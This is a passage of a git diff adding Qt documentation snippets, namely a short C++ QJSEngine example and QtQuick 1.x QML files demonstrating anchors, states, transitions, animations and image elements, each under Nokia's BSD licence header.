+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QCoreApplication app(argc, argv);
+ QJSEngine engine;
+ //! [0]
+ engine.globalObject().setProperty("foo", 123);
+ qDebug() << "foo times two is:" << engine.evaluate("foo * 2").toNumber();
+ //! [0]
+ return 0;
+}
+
diff --git a/doc/src/snippets/qtquick1/Button.qml b/doc/src/snippets/qtquick1/Button.qml
new file mode 100644
index 0000000000..214dfea1af
--- /dev/null
+++ b/doc/src/snippets/qtquick1/Button.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+
+//! [property alias]
+property alias buttonLabel: label.text
+Text {
+ id: label
+ text: "empty label"
+}
+ //! [property alias]
+
+//! [id alias]
+ property alias buttonImage: image
+
+ Image {id: image}
+//! [id alias]
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
+
diff --git a/doc/src/snippets/qtquick1/SelfDestroyingRect.qml b/doc/src/snippets/qtquick1/SelfDestroyingRect.qml
new file mode 100644
index 0000000000..0d2a2845f3
--- /dev/null
+++ b/doc/src/snippets/qtquick1/SelfDestroyingRect.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 80; height: 80
+ color: "red"
+
+ NumberAnimation on opacity {
+ to: 0
+ duration: 1000
+
+ onRunningChanged: {
+ if (!running) {
+ console.log("Destroying...")
+ rect.destroy();
+ }
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/Sprite.qml b/doc/src/snippets/qtquick1/Sprite.qml
new file mode 100644
index 0000000000..ab145d61a4
--- /dev/null
+++ b/doc/src/snippets/qtquick1/Sprite.qml
@@ -0,0 +1,45 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle { width: 80; height: 50; color: "red" }
+//![0]
diff --git a/doc/src/snippets/qtquick1/anchoranimation.qml b/doc/src/snippets/qtquick1/anchoranimation.qml
new file mode 100644
index 0000000000..4d026e3fd8
--- /dev/null
+++ b/doc/src/snippets/qtquick1/anchoranimation.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: container
+ width: 200; height: 200
+
+ Rectangle {
+ id: myRect
+ width: 100; height: 100
+ color: "red"
+ }
+
+ states: State {
+ name: "reanchored"
+ AnchorChanges { target: myRect; anchors.right: container.right }
+ }
+
+ transitions: Transition {
+ // smoothly reanchor myRect and move into new position
+ AnchorAnimation { duration: 1000 }
+ }
+
+ Component.onCompleted: container.state = "reanchored"
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/anchorchanges.qml b/doc/src/snippets/qtquick1/anchorchanges.qml
new file mode 100644
index 0000000000..1b80a10414
--- /dev/null
+++ b/doc/src/snippets/qtquick1/anchorchanges.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: window
+ width: 120; height: 120
+ color: "black"
+
+ Rectangle { id: myRect; width: 50; height: 50; color: "red" }
+
+ states: State {
+ name: "reanchored"
+
+ AnchorChanges {
+ target: myRect
+ anchors.top: window.top
+ anchors.bottom: window.bottom
+ }
+ PropertyChanges {
+ target: myRect
+ anchors.topMargin: 10
+ anchors.bottomMargin: 10
+ }
+ }
+
+ MouseArea { anchors.fill: parent; onClicked: window.state = "reanchored" }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/animatedimage.qml b/doc/src/snippets/qtquick1/animatedimage.qml
new file mode 100644
index 0000000000..bfe8ace521
--- /dev/null
+++ b/doc/src/snippets/qtquick1/animatedimage.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This snippet should be turned into an example and put in
+// examples/declarative/imageelements/animatedimage
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: animation.width; height: animation.height + 8
+
+ AnimatedImage { id: animation; source: "animation.gif" }
+
+ Rectangle {
+ property int frames: animation.frameCount
+
+ width: 4; height: 8
+ x: (animation.width - width) * animation.currentFrame / frames
+ y: animation.height
+ color: "red"
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/animation.qml b/doc/src/snippets/qtquick1/animation.qml
new file mode 100644
index 0000000000..ae6142d69d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/animation.qml
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ width: 200; height: 600
+ id: screen
+
+Column {
+ spacing: 12
+//! [direct property change]
+Rectangle {
+ id: blob
+ width: 75; height: 75
+ color: "blue"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: blob.color = "green"
+ }
+}
+//! [direct property change]
+
+//! [property animation]
+Rectangle {
+ id: flashingblob
+ width: 75; height: 75
+ color: "blue"
+ opacity: 1.0
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ animateColor.start()
+ animateOpacity.start()
+ }
+ }
+
+ PropertyAnimation {id: animateColor; target: flashingblob; properties: "color"; to: "green"; duration: 100}
+
+ NumberAnimation {
+ id: animateOpacity
+ target: flashingblob
+ properties: "opacity"
+ from: 0.99
+ to: 1.0
+ loops: Animation.Infinite
+ easing {type: Easing.OutBack; overshoot: 500}
+ }
+}
+//! [property animation]
+
+//! [transition animation]
+Rectangle {
+ width: 75; height: 75
+ id: button
+ state: "RELEASED"
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: button.state = "PRESSED"
+ onReleased: button.state = "RELEASED"
+ }
+
+ states: [
+ State {
+ name: "PRESSED"
+ PropertyChanges { target: button; color: "lightblue"}
+ },
+ State {
+ name: "RELEASED"
+ PropertyChanges { target: button; color: "lightsteelblue"}
+ }
+ ]
+
+ transitions: [
+ Transition {
+ from: "PRESSED"
+ to: "RELEASED"
+ ColorAnimation { target: button; duration: 100}
+ },
+ Transition {
+ from: "RELEASED"
+ to: "PRESSED"
+ ColorAnimation { target: button; duration: 100}
+ }
+ ]
+}
+//! [transition animation]
+
+Rectangle {
+ width: 75; height: 75
+ id: wildcard
+ color: "green"
+//! [wildcard animation]
+ transitions:
+ Transition {
+ to: "*"
+ ColorAnimation { target: button; duration: 100}
+ }
+//! [wildcard animation]
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ ball.x = 10
+ ball.color = "red"
+ }
+ onReleased: {
+ ball.x = screen.width / 2
+ ball.color = "salmon"
+ }
+ }
+}
+
+//! [behavior animation]
+Rectangle {
+ width: 75; height: 75; radius: width
+ id: ball
+ color: "salmon"
+
+ Behavior on x {
+ NumberAnimation {
+ id: bouncebehavior
+ easing {
+ type: Easing.OutElastic
+ amplitude: 1.0
+ period: 0.5
+ }
+ }
+ }
+ Behavior on y {
+ animation: bouncebehavior
+ }
+ Behavior {
+ ColorAnimation { target: ball; duration: 100 }
+ }
+}
+//! [behavior animation]
+
+//! [sequential animation]
+Rectangle {
+ id: banner
+ width: 150; height: 100; border.color: "black"
+
+ Column {
+ anchors.centerIn: parent
+ Text {
+ id: code
+ text: "Code less."
+ opacity: 0.01
+ }
+ Text {
+ id: create
+ text: "Create more."
+ opacity: 0.01
+ }
+ Text {
+ id: deploy
+ text: "Deploy everywhere."
+ opacity: 0.01
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: playbanner.start()
+ }
+
+ SequentialAnimation {
+ id: playbanner
+ running: false
+ NumberAnimation { target: code; property: "opacity"; to: 1.0; duration: 200}
+ NumberAnimation { target: create; property: "opacity"; to: 1.0; duration: 200}
+ NumberAnimation { target: deploy; property: "opacity"; to: 1.0; duration: 200}
+ }
+}
+//! [sequential animation]
+
+}//end of col
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
diff --git a/doc/src/snippets/qtquick1/application.qml b/doc/src/snippets/qtquick1/application.qml
new file mode 100644
index 0000000000..fa8cf0b8fb
--- /dev/null
+++ b/doc/src/snippets/qtquick1/application.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.1
+
+Rectangle {
+ width: 300; height: 55
+ color: Qt.application.active ? "white" : "lightgray"
+ Text {
+ text: "Application " + (Qt.application.active ? "active" : "inactive")
+ opacity: Qt.application.active ? 1.0 : 0.5
+ anchors.centerIn: parent
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/behavior.qml b/doc/src/snippets/qtquick1/behavior.qml
new file mode 100644
index 0000000000..c2eff68a5e
--- /dev/null
+++ b/doc/src/snippets/qtquick1/behavior.qml
@@ -0,0 +1,58 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+ color: "red"
+
+ Behavior on width {
+ NumberAnimation { duration: 1000 }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.width = 50
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml b/doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml
new file mode 100644
index 0000000000..333c2f1470
--- /dev/null
+++ b/doc/src/snippets/qtquick1/borderimage/borderimage-scaled.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 180; height: 180
+
+//! [scaled border image]
+BorderImage {
+ width: 180; height: 180
+ border { left: 30; top: 30; right: 30; bottom: 30 }
+ horizontalTileMode: BorderImage.Stretch
+ verticalTileMode: BorderImage.Stretch
+ source: "pics/borderframe.png"
